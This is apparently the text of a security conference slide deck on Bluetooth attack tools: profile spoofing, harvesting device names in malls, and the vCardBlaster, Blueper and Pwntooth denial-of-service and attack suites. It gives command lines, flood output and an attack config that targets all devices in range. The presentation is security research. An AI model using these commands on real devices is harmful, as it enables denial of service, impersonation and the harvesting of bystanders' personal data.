Breaking Bluetooth By Being Bored

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JP Dunning

Graduate Student: Computer Science, Virginia Tech

Research Focus: Wireless and Portable Security

Website: www.hackfromacave.com

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Bluetooth

- IEEE 802.15.1
- Low Power / Short Range
- Ad-Hoc (Piconet)
- Deployed on over 1 billions devices worldwide

Obfuscation and Reconnaissance

Cloning/Spoofing Profile

• Bluetooth Profile:

- Device Address, Device Class, Device Name
- Bluetooth Profile Cloning:
 - Modify host Bluetooth Adapter profile to match the profile of another device
 - Done manually using *hciconfig* and *bdaddr*
- Bluetooth Profile Spoofing:
 - Creating a misleading profile of host Bluetooth Adapter

- Automate / simplify Bluetooth profile modification process
- Useful for
 - Obfuscation
 - Impersonations
 - Observation
- 5 different modes

• Mode 1: > spooftooph -i hci0 -s -d scan.log

- Scan local area for devices
- Save list of devices found
- Select a device from the list to clone
- Mode 2: > spooftooph -i hci0 -r
 - Randomly generate Bluetooth profile
 - Device Class Random Valid Class
 - Device Name 100 most popular Ameraican names + device type
 - Device Addr Random MAC

 Mode 3: > spooftooph -i hci0 -n new_name -a 00:11:22:33:44:55 -c 0x4a010c

- Specify Name, Class, and Address

Mode 4: > spooftooph -i hci0 -l scan.log

- Read in previously logged scan
- Select a device from the list to clone
- Mode 5: > spooftooph -i hci0 -t 10

 Incognito: Scan for devices every X seconds and clone the first profile on the list



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- Collect Device Name, Device Address and Device Class on as many devices as possible
- Same idea as Josh Wright's *Bnap, Bnap, but* collecting device profiles from others devices instead
- Collected over 1,500 device profiles so far

- Use for this data:
 - Mapping the address range of Bluetooth
 - Improve Redfang discovery scans
 - Matching address range with device model
 - Research
 - Discovering information disclosure

- Disclosure of sensitive information
- What information can be gathered from the device profile?
 - Can the Device Address be used to identify the device modes?
 - What can be extracted from the device name?

- Can the Device Address be used to identify the device modes?
 - Yes, the addresses used for Device Address (MAC) are the same as those used by Ethernet or ZigBee
 - The first 24-bits are Organizationally Unique Identifiers (OUI), registered to specific entities, often often use a subset of those address ranges for a specific model of device
 - The reverse can be done to attempt to guess the address based on the device model

• What can be extracted from the device name?

- First Name A first name, presumably the first name of the device owner.
- Last Name A last name, presumably the last name of the device owner.
- Nickname What appears to be a user name or 'handle'.
- Location Information that can be used to determine the location of the device.
- Device Model Identifying information that could lead to profiling the device as a specific model.

 Percentage of devices names which disclosed sensitive information (out of the 1,500 profiles collected)

First	Last	Location	Device	Nickname /
Name	Name		Model	Handle
28.17%	18.76%	1.30%	70.54%	1.51%

Mall Nibbling

Dropping by your local mall to collect information on the cornucopia of Bluetooth devices.



Mall Nibbling

Performing Mall Nibbling: Things to Know

- Come equipped with a Class 1 bluetooth dongle (cantenna attachment optional, but recommended :))
- Obfuscate your Bluetooth interface
- While device discovery takes less then 2 seconds, getting the name of the device requires a follow up request. Plan on spending at least 1 minute per location for each scan.

Offensive

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vCardBlaster

vCard - "Virtual Business Card"

- Used to exchange personal information

 Many Bluetooth devices allow exchange of vCards

– Phones, PDAs, PCs, etc

vCardBlaster

- vCardBlaster is capable of sending a constant stream of vCards over Bluetooth
 - Users can select a single target or attack all devices in range
 - vCards can be specified or generated by vCardBlaster

Bluetooth vCard Contact List DoS

 vCardBlaster can be used to preform a DoS on a Contact List

• Vuln:

- Some devices, upon receiving a vCard, will automatically add the information to the local Contact List.
- Each name provided in the vCard must be unique.
- Sending a flood of vCards fills up the contact list with new false contacts

vCardBlaster

	Shell - Konsole	- 🗆 ×
sh-3.1# ./vcblaster	g -i 20 -t 5 -v /tmp 🎟	
Sending vCard to 🏼	FD:3E:3B].	
Sending vCard to 🛙 Sending vCard to 🕅	FD:3E:3B].	
Sending vCard to 🕅	ED:3E:3B]	
Sending vCard to 🏼	FD:3E:3B].	
Sending vCard to 🏼	FD:3E:3B1.	
Sending vCard to 🏾	FD:3E:3B].	
Sending vCard to 🌆	FD:3E:3B].	
Sending vCard to [Sending vCard to [FD:3E:3B].	
Sending vCard to 🕅	FD:3E:3B].	
Sending vCard to 🕅	FD:3E:3B].	
Sending vCard to 🏼	FD:3E:3B].	
Sending vCard to 🌆	FD:3E:3B].	
Sending vCard to [FD:3E:3B].	
Sending vCard to 💷	FD:3E:3B].	
Sending vCard to 🌆	FD:3E:3B].	
Sending vCard to 🌆	FD:3E:3B].	
Sending vCard to 🌆	FD:3E:3B].	
Sending vCard to 頥	FD:3E:3B].	
Sending vCard to 🕅	ED:3E:3B]	
Sending vCard to	FD:3E:3B].	
sh-3.1#		



Blueper

- Blueper is capable of sending a constant stream of files over Bluetooth
 - Users can select a single target or attack all devices in range
 - Files can be specified or generated
 - User can specify file size

Bluetooth OBEX Disk Cache DoS

 Blueper can be used to preform a DoS using the systems caching of file data

• Vuln:

- Some devices cache files sent over Bluetooth OBEX before prompting user to accept or reject the file transfer.
- Sending files over extended periods of time can fill up disk.
- It can cause system crash.

Blueper

Shell - Konsole 🗕 🗖 🗙
sh-3.1# ./blueper -e -i 500 -n temp_file -s 10000 -r evil_fileB5:9A:96 ▲ Pushing file to [B5:9A:96] with remote name evil_file name=temp_file, size=130100
Local device F8:FE:FF
Remote device B5:9A:96 (1)
Connection established
Pushing file to [B5:9A:96] with remote name evil_file name=temp_file, size=130100
Local device F8:FE:FF
Remote device B5:9A:96 (1)
Connection established
Pushing file to [B5:9A:96] with remote name evil_file
name=temp_file, size=130100
Local device F8:FE:FF
Remote device B5:9A:96 (1)
Connection established Pushing file to [B5:9A:96] with remote name evil file
name=temp_file, size=130100
Local device :F8:FE:FF
Remote device B5:9A:96 (1)
Connection established



Pwntooth

- Suite of Bluetooth attack tools
- Designed to automate multiple attacks against multiple targets.
- Comes bundled with tools like:
 - Bluetooth Stack Smasher
 - BT_AUDIT
 - Bluesnrf
 - Blueper / vCardBlaster

Pwntooth

- Pwntooth uses a user defined config file as an attack script
- This config file uses * as a wild card character for device address

pwntooth.conf

```
### hcitool info ###
hcitool info *
### sdptool info ###
sdptool records *
### bluesnarf ###
# ./bluesnarfer -r A-Z -b *
### bluetooth stack smasher ###
# ./bss -s 100 -m 12 -M 0 *.
### carwhisperer ###
# ./carwhisperer 0 audio.raw recorded.raw * 7.
```

vCardBlaster ### # ./vcblaster -g -t 10 *

```
### blueper ###
# ./blueper -e -s 1000 -t delete me -n Update *
```

```
### psm_scan ###
# ./psm scan -c -e 4095 *
```

Pwntooth

- Default config /etc/bluetooth/pwntooth.conf
- If a address device is detected in multiple iterations of scans, the attacks listed in the config file are only run the first time
- Example: Scan area 10 times and save output to logfile.txt using default config.

> pwntooth -l logfile.txt -s 10

Project Pages

www.hackfromacave.com

- SpoofTooph: http://www.hackfromacave.com/projects/spooftooph.html
- Bluetooth Profiling Project: http://www.hackfromacave.com/projects/bpp.html
- vCardBlaster: www.hackfromacave.com/vcardblaster.html
- Blueper: www.hackfromacave.com/blueper.html
- Pwntooth: www.hackfromacave.com/pwntooth.html